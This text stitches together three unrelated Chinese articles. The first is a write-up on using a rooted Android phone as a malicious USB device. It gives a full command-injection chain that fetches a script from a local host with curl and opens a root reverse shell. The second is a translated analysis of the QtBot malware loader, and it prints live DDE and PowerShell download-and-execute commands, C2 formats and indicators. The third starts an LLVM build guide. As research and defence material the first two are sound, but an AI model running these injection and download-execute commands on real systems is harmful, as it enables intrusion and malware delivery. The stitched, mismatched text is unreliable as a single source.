受到[Project Zero](https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html)发表的一篇USB安全报告的启发，我开始仔细思考如何将USB用作物联网设备的攻击面。在许多的物联网设备中，是允许用户插入USB设备并通过它自动执行某些操作的，并且，这些自动功能也许过于信任USB设备了。随着时间的推移，这份报告在我的脑海中的印象渐渐消退，直到一个带有USB端口的物联网设备出现在我的门口——显眼的USB端口重新激起了我的兴趣。可悲的是,该报告中提到的[
Raspberry Pi Zero](https://www.raspberrypi.org/blog/raspberry-pi-zero/)的到货时间仍然遥遥无期，好在我听一位同事提过Android也支持ConfigFS，于是，我决定另起炉灶。
我发现，带有安全问题的物联网设备会自动安装插入该设备的USB大容量存储设备，如果设置了某些属性的话，该设备还会使用这些属性——未经相应的安全检查——来创建安装目录名称。此外，这里的安装过程还是通过C语言中臭名昭着的“system”函数实现的：恶意USB设备能够以这样的方式设置某些参数以实现任意命令执行。由于相关的守护进程是以root身份运行的，这意味着，攻击者可以插入USB设备，等待几秒钟，然后就可以在设备上以root身份执行命令了。这不禁让人们想起相关间谍电影中的画面——其中主人公将一些设备插入高度复杂的门锁中，然后，LED屏幕上会闪烁一堆数字，之后，门就神奇地打开了。现实中，真的可以做到吗？我想是的。
但是问题在于，如何才能把安卓设备变成一个自定义的USB外设呢？我在网络上面搜索了一大圈，但是没有找到相应的解决方案。而本文的目的，就是解决这个短板，为此，我们需要使用一个已经取得root权限的Nexus
5X设备，并运行最新版本的Android系统，即8.1版本。当然，当前尚不确定本文介绍的方法是否适用于Android 9。
## 将Android用作大容量存储器
就这里来说，需要将Android设备用作USB大容量存储设备，并带有以下属性：产品名称字符串、产品型号字符串和磁盘标签。当然，我们还可以自定义更多的属性，但这并非本文关注的内容。接下来，我们将从那些看起来似乎没有用的东西开始着手：首先，我对ConfigFS非常熟悉，并且发现了`/config/usb_gadget`方法，所以，我们可以利用这个ConfigFS方法来创建一个快捷式的大容量USB存储设备。为此，我创建了一个脚本，来帮助我们完成这些工作，运行结果如下所示：
mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented
我不清楚为什么这条路走不通，但是有一点很明显，那就是这个方法是不受支持的。为了搞清楚怎么回事，我专门研究了Android和Linux的内核源代码，当然，我们不打算通读所有源码，相反，我只想知道如何在这个设备上使用`/bin/touch/tmp/haxxed`并将其声明为
** _1337_** 。所以，我把注意力转向Android中`init` 进程的内核空间，看看Android开发者为改变USB功能做了哪些工作。
通过考察Android的`init`[文件](https://android.googlesource.com/platform/system/core/+/refs/tags/android-8.1.0_r65/rootdir/)，我们发现USB有两个不同的`.rc`文件：[init.usb.configfs.rc](https://android.googlesource.com/platform/system/core/+/refs/tags/android-8.1.0_r65
/rootdir/init.usb.configfs.rc)和[init.usb.rc](https://android.googlesource.com/platform/system/core/+/refs/tags/android-8.1.0_r65/rootdir/
init.usb.rc)。眼尖的读者可能已经发现了，它们都会检查属性`sys.usb.configfs`：如果其值为`1`，则会使用`init.usb.configfs.rc`文件中相关条目，否则将使用`init.usb.rc`文件中的相关条目。对我的实验环境来说，`sys.usb.configfs`的值为`0`，并且我确认系统在`/sys/class/android_usb`目录中修改了一些内容，所以，我将焦点移到了那里。当然，我没有考察`sys.usb.configfs`设置为`1`时会发生什么情况，所以，我无法确定这是唯一的方法，但可以肯定的是，至少这种方法对于我来说是有效的。
## 探索未知世界
既然已经将焦点转移到了`/sys/class/android_usb/android0`目录，那么不妨看看其中包含了哪些内容：
bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass f_acm f_ffs f_rmnet iManufacturer power
bDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeup
bDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial state
bcdDevice f_ccid f_midi f_rndis_qc idProduct subsystem
down_pm_qos_sample_sec f_charging f_mtp f_serial idVendor uevent
down_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable f_ecm f_ptp f_usb_mbim pm_qos up_pm_qos_threshold
f_accessory f_ecm_qc f_qdss functions pm_qos_state
`其中，`idVendor`、`idProduct`、`iProduct`、`iManufacturer`和`f_mass_storage`看起来有点面熟。如果您熟悉ConfigFS的话，就会发现`f_mass_storage`的内容与`mass_storage`函数的内容非常相似：
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent
老实说，这到底是咋回事，我也不太清楚。不过，我们的目标要明确一下——通过创建恶意USB设备来发动攻击，而不是了解Linux内核的内部工作原理以及Android如何将自己设置为USB外围设备。幸运的是，源代码和设备本身为我们提供了许多提示，这些都能帮助我们弄清楚如何使用这个目录。
在`init.usb.rc`中，经常会遇到如下所示的代码：
write /sys/class/android_usb/android0/enable 0
....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1
那么，当插入一个开发设备，并使用ADB时，会运行哪些函数呢？
bullhead:/sys/class/android_usb/android0 # cat functions
ffs
我碰巧知道设备上的ADB是使用FunctionFS实现的，而`ffs`看起来像是FunctionFS的简写，所以，这里很可能启用的就是它。接下来，我们可以改变那个值，例如把它设置为`mass_storage`，然后看看会发生什么。
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
可以看到，ADB会话被关闭了。是的，杀死USB的同时，USB连接自然也会关闭。好吧，至少我知道它是起作用的！
幸运的是，ADB非常适合在TCP/IP上工作，所以，我可以重启它：
adb tcpip 5555
adb connect 192.168.1.18:5555
我郑重声明，我绝不会用你们当地咖啡店的WiFi来做这件事。好了，现在我们连接好了，接下来，我们可以关闭USB并切换到大容量存储器模式，看看会发生什么情况。
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable
太棒了，既没有报错，也没有发生崩溃，一切如常。如果您熟悉ConfigFS，您就明白这里也可以修改`f_mass_storage/lun/file`，让大容量存储设备成为后端设备。接下来，我们介绍如何创建一个让USB大容量存储设备变为后端存储器的镜像文件。
## 创建镜像文件
在制作镜像时需要牢记的一件事情是，我们需要设法控制磁盘标签的值（如`blkid`所示）。为此，我们可以创建一个文件，然后使用它即可，而无需任何其他的奇技淫巧。请注意，写入USB磁盘中的内容并不重要，这里只是希望目标设备将其识别为大容量存储设备，进而安装该设备。下面，开始创建我们的后端镜像文件：
dd if=/dev/zero of=backing.img count=50 bs=1M
这将创建一个名为`backing.img`、大小为50MB的文件，该文件的内容都是0值。实际上，这里的内容并不重要，因为下面我们会用`fdisk`命令对其进行格式化。对于老练的Linux黑客来说，完全可以通过编写相应的脚本来完成这些工作：
echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img
That magic is filling out the `fdisk` entries for you. It looks like this:
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.
Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.
Command (m for help): Partition type
p primary (0 primary, 0 extended, 4 free)
e extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.
Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
Command (m for help): The partition table has been altered.
Syncing disks.
我们将创建一个带有`DOS`分区表和单个`FAT32`分区的镜像，其他内容都是默认的设置。接下来，我们要完成格式化处理，并设置标签：
# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0
其中，“1048576”是“2048 *
512”之积。在这里，我们只是将上面创建的镜像附加为`/dev/loop0`设备，并运行一个简单的`mkdosfs`命令，其中`-n
"HAX"`对本例来说非常重要，因为它使得我们可以控制标签。好了，我们需要做的，就这么些了——很简单吧！
## 综合起来
借助上面创建的镜像，我们就可以创建完整的USB设备了：
$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell
在`adb shell`中：
$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable
如果一切顺利，则：
# lsusb -v -d 18d1:
Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x18d1 Google Inc.
idProduct 0x4ee7
bcdDevice 3.10
iManufacturer 1 LGE
iProduct 2 Nexus 5X
iSerial 3 0000000000000000
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 32
bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 500mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 8 Mass Storage
bInterfaceSubClass 6 SCSI
bInterfaceProtocol 80 Bulk-Only
iInterface 5 Mass Storage
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 1
Device Qualifier (for other device speed):
bLength 10
bDescriptorType 6
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
bNumConfigurations 1
Device Status: 0x0000
(Bus Powered)
这样，我们就可以看到该设备了：
$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1
接下来，我们就能够安装该设备了：
$ mkdir HAX && sudo mount /dev/sdb1 HAX
完成安装后，我们就可以考虑改变参数了:
# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:
Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
....
idProduct 0x1337
....
iManufacturer 1 Carve Systems
iProduct 2 1337 Hacking USB
....
哇，这样就可以轻松制作恶意USB设备了。
## 小试牛刀
为了帮助读者充分认识到该漏洞的严重性，下面给出一个POC示例代码：
snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);
上面的代码将完成下列操作：
1.利用易受攻击的守护进程的`cwd`下载一个shell脚本，用以生成一个反向shell
2.用`sh`执行该文件
一个棘手的问题是，系统会从这些变量中删除空格和`/`，但幸运的是，`system`会将其传递给一个理解`$IFS`和子shell的shell。对于Android设备来说，这个漏洞的利用方法也很简单，具体的命令可以按如下方式进行构建：
echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable
完整的命令链如下所示（这里删除了一些必要的sleep命令）:
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
可以把这些命令可以放到一个文件(`/a`)中：
b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell
最后一个命令是用`sh
a`执行这个文件。这个脚本将会拉取一个本人编写的二进制文件来获取反向shell。此后，您可以向反向shell发送自己喜欢的payload。在执行完最后一个命令后，我们将会看到熟悉的一幕：
$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)
搞定。
## 安全建议
虽然使用Raspberry Pi
Zero可能会更容易一些，但通过已经取得root权限的Android设备也可以轻松实现本文的目的。对于该漏洞，我们的安全建议是：不要信任任何外部输入，即使是来自物理设备的输入，也不值得信赖。对于黑名单方法来说，有时也会存在容易绕过的漏洞。当然，还是有许多方法可以避免这个问题的，但无论对于哪种缓解措施，最重要的就是不要信任从外部设备中读取的属性。如果需要唯一名称，请生成相应的UUID。如果您需要一个独一无二的名称，并且要求对于给定设备来说是不变的，请验证所需的参数是否存在，然后使用SHA256或您喜欢的哈希算法计算它们的哈希值。此外，C函数`system`也应该谨慎使用：实际上，直接使用C代码安装驱动器也不是什么难事。 | 社区文章 |
# 【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky
|
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
****
很多共享垃圾邮件活动的主要目的就是为了传播恶意软件，其中最常见的就是Locky勒索软件以及Trickbot木马了。很多恶意软件研究专家都认为，这类恶意网络活动的Payload都是基于地理位置来选择攻击目标的。在此之前，这类攻击一般都是通过一种相对简单的[VBA脚本](https://phishme.com/locky-trickbot-depends-malicious-payload-delivery-tailored-geographic-location/)控制的，这种脚本可以使用GeoIP查询服务并通过解析国家代码来确定被入侵的主机所在地理位置。在获取到这些信息之后，VBA脚本将会进入一个循环并查询国家代码，例如UK、IE、AU、GB、LU或BE等等，如果检测到了这些国家代码，脚本将会下载并执行Trickbot。如果检测失败，脚本将会下载并安装Locky。
近期，[Unit42的研究人员Brad
Duncan](https://researchcenter.paloaltonetworks.com/author/bduncan/)发现，[Necurs垃圾邮件活动](https://isc.sans.edu/forums/diary/Necurs+Botnet+malspam+pushes+Locky+using+DDE+attack/22946/\))正在传播利用[DDE](https://www.bleepingcomputer.com/news/security/microsoft-office-attack-runs-malware-without-needing-macros/)实施感染的微软Office文档。这些恶意文档会加载一个下载器，我们将其标记为“QtBot”。QtBot会替换掉之前所介绍的那个VBA脚本，并安装一个反分析工具来保护自己。这种新型的下载器负责加载最终的Payload，即Locky或Trickbot。据了解，自2017年10月19日起，Palo
Alto Networks已经发现了四百多万次单独的QtBot活动。
**攻击诱饵**
****
[ 恶意DDE文档](https://isc.sans.edu/diary/Macro-less+Code+Execution+in+MS+Word/22970)会作为垃圾邮件的附件来进行传播，样本如下图所示（发现于2017年10月24日）：
这个恶意邮件样本中带有一个恶意文档，该文档会使用DDE来安装恶意Payload。
一般来说，这种诱饵文件的攻击成功率还是比较高的，大多数诱饵文件一般都是以“财务报表”（发票、账单或收据）或者“文件传输”（传真或扫描文件）为邮件主题的。在这种攻击活动中，攻击者需要想办法让目标用户下载并打开邮件附件，然后点击一系列对话框。我们的附件样本（b92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9）中包含以下DDE对象：
DDEAUTO C:\Windows\System32\cmd.exe "/k powershell.exe -NonI - noexit -NoP -sta $sr=(new-object IO.StreamReader
((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse())
.GetResponseStream())).ReadToEnd();powershell.exe -e $sr"
**
**
**网络流量**
****
当用户点击了三个对话框之后，恶意Payload会发送如下图所示的HTTP
GET请求。有意思的是，其中的初始命令控制服务器很可能是一个被入侵的Web主机，估计主机运行的是包含漏洞的PLESK，这一点可以从HTTP响应信息中的X-Powered-By头中了解到。
将请求中的Base64编码数据进行解码之后，我们得到了如下所示的信息：
$urls = "hXXp://aurea- art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp:
//nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp
://christakranzl[.]at/incrHG32"
foreach($url in $urls){
Try
{
Write-Host $url
$fp = "$env:temptheyweare64.exe"
Write-Host $fp
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $fp)
Start-Process $fp
break
}
Catch
{
Write-Host $_.Exception.Message
}
}
上述代码会一直循环运行直到找出一个可用的下载地址，当一个可用的命令控制服务器响应之后，QtBot代码（798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120）将会以明文形式下载。下图中显示的是QtBot下载器所下载的恶意代码：
QtBot代码下载完成之后，Payload将会使用PowerShell来执行它（代码存储在%temp%目录中）。当QtBot开始运行之后，它首先会通过一个HTTP
POST请求来与合法域名ds.download.windowsupdate[.]com进行连接，以此来进行网络检测。
最后，链接检测通过之后，QtBot将会使用一个HTTP
POST请求（带有RC4加密的Payload）来与其真正的命令控制服务器建立连接，并等待响应（响应信息使用相同的RC4密钥进行加密）。
在分析网络流量的过程中，我们所使用的QtBot样本（d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2）的命令控制服务器仍然是活跃的，并且还托管着基于地理位置的Payload。流量信息如下所示：
恶意程序会将数据回传给命令控制服务器，并确定目标用户的地理位置。由于我们当时使用的是UK地区的节点，因此它下载的是Trickbot。我们接收到的是经过加密的Trickbot
Payload。我们对请求中的Trickbot
Payload（4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad）进行解密之后得到了如下图所示的信息：
在下面的这张图片中，我们可以看到一段主机POST数据回传给命令控制服务器，并接收到了一段与之前有些许不同的响应信息。这是因为主机所在的地理位置与Trickbot的传播定位不一样所导致的，因此我们这一次（地理位置：CA节点）所得到的应该是Locky
Payload。
下图显示的是另一种不同的Payload，因为我们这一次使用的是不同的地理位置节点。这个Payload是一段经过加密的Locky代码，解密后的代码为9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49。
分析完了Payload的传播过程，接下来我们来分析一下QtBot。
**QtBot分析**
****
QtBot下载器是一个Windows可执行文件，这个Payload会使用一些常见的技术来注入到msiexec.exe之中。接下来，Payload会解密第二阶段的shellcode并将其注入一个新生成的svchost.exe进程之中，而这个svchost.exe则是最终Payload的处理器。
当QtBot首次执行时，会生成一个新的线程来进行进程扫描。这种进程扫描的作用是为了识别并查找安全分析工具，如果找到了，则立刻终止恶意软件的执行。这种检测是通过代码循环实现的，并且会定时运行。下面给出的哈希值可以用来检测正在运行中的进程：
0x171AF567
0xB713B22E
0x59F3573F - wireshark.exe
0xA9275283 - peid.exe
0x2C533BA3
0xB1FDD418 - x64dbg.exe
0xA7B71C08
0x5BBA66D5
0xFD62D761
0xB01C9DA9 - cff explorer.exe
0xE7AC4C20
0x8718A391 - procexp.exe
0x817D523A - ollydbg.exe
0x9A65393D - lordpe.exe
0x4B1B38C6 - processhacker.exe
0xBD46C402
0x72472F0B - tcpview.exe
0x151648CD
0x4A694A06 - vboxservice.exe
0x956511A3 - sbiesvc.exe
0x09D19890 - vmtoolsd.exe
0x70383CD2
0x40C795F0 - petools.exe
0x6D2607D8 - exeinfope.exe
0x4D9803BC - vboxtray.exe
0x29FBEE3C - windbg.exe
0x0872D0FC
0x28F7E9A8 - idaq.exe
0x3D0598D0 - x32dbg.exe
0x1D141E5D
0xFCB2810C - python.exe
0x2AA827DB
0xCA9B2CDE
0x75F4F636 - procmon.exe
接下来，Payload会使用注册表键“HKCUSoftwareQtProject”来随机生成数字互斥体（Mutex）。在此之前，这个注册表键主要应用在合法的Qt框架之中，其本身并不具备恶意性。
当互斥体和注册表字符串创建成功之后，恶意软件会使用RC4以及一个硬编码密钥来解密下面这端代码所生成的数字字符串（字符串来自于798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120）：
cmd.exe
SoftwareMicrosoftWindowsCurrentVersion
boom
http://toundlefa.net/
SoftwareQtProject
msiexec.exe
svchost.exe
/c start %s && exit
cmd.exe
System32CompMgmtLauncher.exe
runas
SoftwareClassesmscfile
shellopencommand
tmp_file
SoftwareMicrosoftWindowsCurrentVersion
PoliciesExplorer
Run
Check Update
POST
Content-Type: application/octet-stream
Connection: close
DZCW
6VK3
regsvr32.exe
http://ds.download.windowsupdate.com/
{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
{"rep":1,"bid":"%s","tid":"%s","res":%d}
在整个攻击活动中，这个硬编码RC4密钥（0x7A3C5B7CB7FCE715702AA0F4F4EC0935E759FD3B7B6BCC70159D61CF42814B81）需要重复使用，它负责对网络通信数据进行加密和解密。
QtBot还包含一个检测功能， **它可以检测前苏联国家用户的键盘布局，如果找到的话，则立刻终止恶意软件的执行。** 负责这个过程的代码如下所示：
为了实现持久化感染，恶意软件还会生成一个临时文件（随机命名）并将其存储在 **%APPDATA%LocalTemp** 目录下一个随机命名的文件夹之中。
随机生成的文件夹名称值存储在注册表键“HKCUSoftwareQtProject”的“0FAD2D5E”值之中。除此之外，恶意软件还会在这个键中存储其他额外的加密数据：
“0FAD2D5E” – 随机值 + Unicode临时文件名 + 数据块长度
“0FAD2D5EDZCW” – RC4加密的C2域名
正常的恶意软件通信会使用如下所示的格式化字符串:
{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
字符串填充完数据之后的情况大致如下所示：
{"rep":0,"bid":"LD0fJMblnCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228
8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}
其中有些值的真实用意我们现在还尚不清楚，但我们可以大致猜到它们的意思：
“rep” – 重复尝试与单一主机通信；
“bid” – 代码验证，这个值存储在注册表值“0FAD2D5E”之中，并且使用了RC4加密；
“ver” – 估计是恶意软件版本信息；
“cam” – 活动名；
“cis” – 未知的硬编码值；
“lvl” – 系统完整性等级；
“adm” – 判断恶意软件是否拥有管理员权限；
“bit” – 未知；
“osv” – 操作系统版本号；
“osb” – 操作系统构建号；
“tmt” – timeout，单位为s；
**总结**
****
这种针对特定地理位置用户的恶意软件在此之前也有很多，所以这也并不算什么新鲜事儿了。本文所分析的恶意软件样本在一个单独的垃圾邮件活动中同时结合使用了两种完全不同的恶意软件家族，这也是一种非常新颖的技术策略。除此之外，QtBot还采用了多种机制来保护自己，而且在它的决策树中攻击目标范围都是已经确定了的，并且还自带了多种反分析包来增加分析和检测的难度。
Palo Alto Networks已经发现了超过四百万次与QtBot有关的攻击事件，广大用户可以使用Wildfire来保护自己免受这种威胁的侵害。
注：我们需要感谢Proofpoint的研究专家，他们是第一个发现这种安全威胁的研究人员，并其识别为“QtLoader”。除此之外，QtBot与之前的[Andromeda](https://blog.avast.com/andromeda-under-the-microscope)非常相似，它们不仅都可以对运行中的进程哈希进行检测，而且还引入了类似的反分析方法，更重要的是，它们的恶意代码注入目标都是msiexec.exe。
**入侵威胁指标IoC**
****
798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120 – **QtBot**
bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9 – **DDE
Dropper**
9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49 – **Locky**
4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad –
**Trickbot**
hXXp://hobystube[.]net – Locky下载地址
hXXp://kengray[.]com – Trickbot下载地址
hXXp://fetchstats[.]net – QtBot C2
hXXp://toundlefa[.]net – QtBot C2
hXXp://aurea-art[.]ru/incrHG32
hXXp://castellodimontegioco[.]com/incrHG32
hXXp://nl.flipcapella[.]com/incrHG32
hXXp://dotecnia[.]cl/incrHG32
hXXp://christakranzl[.]at/incrHG32
hXXp://burka[.]ch/JHhdg33
hXXp://celebrityonline[.]cz | 社区文章 |
# 简介
简单来说llvm就是一个编译架构项目，它是一个模块化可重用的编译器及工具链技术的集合
编译器一般采用三段式的设计，LLVM，GCC， JIT(Java, Python) 等编译器都遵循经典的三段式设计
* 前端 (Frontend) ：进行词法分析，语法分析, 生成抽象语法树，生成中间语言 (例如 java 的字节码，llvm 的 IR，GCC 的 GIMPLE Tuples)
* 优化器 (Optimizer) ：分析中间语言，避免多余的计算，提高性能;
* 后端 (Backend)： 根据中间语言，生成对应的 CPU 架构指令 例如 X86，ARM；
通过这种设计，增加新的语言，只需要实现新的前段，优化器 和 后端可以重用；同理新增新的 CPU 架构时，也只需要实现新的后端。
其整体架构如下：
llvm特点：
* 模块化
* 统一的中间代码IR，而前端、后端可以不一样。而GCC的前端、后端耦合在了一起，所以支持一门新语言或者新的平台，非常困难。
* 功能强大的Pass系统，根据依赖性自动对Pass（包括分析、转换和代码生成Pass）进行排序，管道化以提高效率。
llvm有广义和狭义两种定义
在广义中，llvm特指一整个编译器框架，由前端、优化器、后端组成，clang只是用于c/c++的一种前端，llvm针对不同的语言可以设计不同的前端，同样的针对不同的平台架构（amd，arm，misp），也会有不同后端设计
在狭义中 ，特指llvm后端，指优化器（pass）对IR进行一系列优化直到目标代码生成的过程
**LLVM的主要子项目**
项目名称 | 描述
---|---
LLVM Core | 包含一个源代码和目标架构无关的独立配置器，一个针对很多主流(甚至于一些非主流)的CPU的汇编代码生成支持。这些核心库围绕IR来构建。
Clang | 一个C/C++/Objective-C编译器，提供高效快速的编译效率，风格良好、极其有用的错误和警告信息。
LLDB | 基于LLVM提供的库和Clang构建的优秀的本地调试器。原生支持调试多线程程序。
LLD | clang/llvm内置的链接器
dragonegg | gcc插件，可将GCC的优化和代码生成器替换为LLVM的相应工具。
libc++, libc++ ABI | 符合标准的，高性能的C++标准库实现，以及对C++11的完整支持。
compiler-rt |
为动态测试工具（如AddressSanitizer，ThreadSanitizer，MemorySanitizer和DataFlowSanitizer）提供了运行时库的实现。为像“__fixunsdfdi”这样的低级代码生成器支持进程提供高层面的调整实现，也提供当目标没有用于实现核心IR操作的短序列本机指令时生成的其他调用。
OpenMP | 提供一个OpenMP运行时，用于Clang中的OpenMP实现。
vmkit | 基于LLVM的Java和.NET虚拟机实现。
polly | 支持高级别的循环和数据本地化优化支持的LLVM框架，使用多面体模型实现一组缓存局部优化以及自动并行和矢量化。
libclc | OpenCL(开放运算语言)标准库的实现.
klee | 基于LLVM编译基础设施的符号化虚拟机。它使用一个定理证明器来尝试评估程序中的所有动态路径，以发现错误并证明函数的属性。
klee的一个主要特性是它可以在检测到错误时生成测试用例。
SAFECode | 用于C / C ++程序的内存安全编译器。 它通过运行时检查来检测代码，以便在运行时检测内存安全错误（例如，缓冲区溢出）。
它可用于保护软件免受安全攻击，也可用作Valgrind等内存安全错误调试工具
# 编译
我这里的环境是Ubuntu1604，采用cmake的方式进行编译，首先要安装以下：
sudo apt-get install subversion
sudo apt-get install cmake
去[官网](http://releases.llvm.org/download.html)下载lvm、clang、 clang-tools-extra 、
compiler-rt 、 libcxx 、 libcxxabi ，我这里统一下载8.0.0版本
一系列安装编译命令如下，整理成shell脚本方便一把梭
#!/usr/bin/env bash
cd ~ && mkdir LLVM && cd LLVM
wget http://releases.llvm.org/8.0.0/llvm-8.0.0.src.tar.xz
tar -xf llvm-8.0.0.src.tar.xz && rm llvm-8.0.0.src.tar.xz
mv ./llvm-8.0.0.src ./llvm-8.0.0
cd llvm-8.0.0/tools/
wget http://releases.llvm.org/8.0.0/cfe-8.0.0.src.tar.xz
tar -xf ./cfe-8.0.0.src.tar.xz && rm ./cfe-8.0.0.src.tar.xz
mv ./cfe-8.0.0.src ./clang
cd ./clang/tools
wget http://releases.llvm.org/8.0.0/clang-tools-extra-8.0.0.src.tar.xz
tar -xf ./clang-tools-extra-8.0.0.src.tar.xz && rm ./clang-tools-extra-8.0.0.src.tar.xz
mv ./clang-tools-extra-8.0.0.src ./clang-tools-extra
